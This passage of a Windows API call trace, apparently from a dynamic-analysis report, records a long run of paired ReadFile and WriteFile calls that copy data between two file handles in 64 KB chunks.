out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.630] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.633] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.634] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.635] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.635] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.636] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.638] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.639] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.640] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.640] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.641] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.642] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.643] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.645] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.646] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.646] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.647] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.648] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.649] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.649] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.651] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.651] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.651] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.653] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.654] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.655] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.657] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.657] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.657] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.659] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.678] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.678] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.679] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.680] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.680] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.681] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.700] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.701] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.702] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.702] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.703] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.704] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.705] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.706] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.707] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.707] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.708] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.709] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.740] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.743] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.744] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.745] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.745] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.746] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.747] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.748] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.749] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.750] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.750] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.751] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.753] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.754] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.755] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.756] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.756] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.757] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.785] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.785] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.786] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.787] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.787] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.788] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.790] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.791] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.792] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.793] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.793] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.794] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.864] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.864] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.866] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.866] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.866] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.867] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.869] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.870] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.871] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.872] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.872] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.873] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.875] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.875] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.876] ReadFile (in: hFile=0x334, lpBuffer=0x390157c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x390157c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.877] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.877] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0194.878] ReadFile (in: hFile=0x334, lpBuffer=0x391159c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x391159c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0194.888] WriteFile (in: hFile=0x39c, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0194.891] WriteFile (in: hFile=0x39c, lpBuffer=0x38c0544*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x38c0544*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 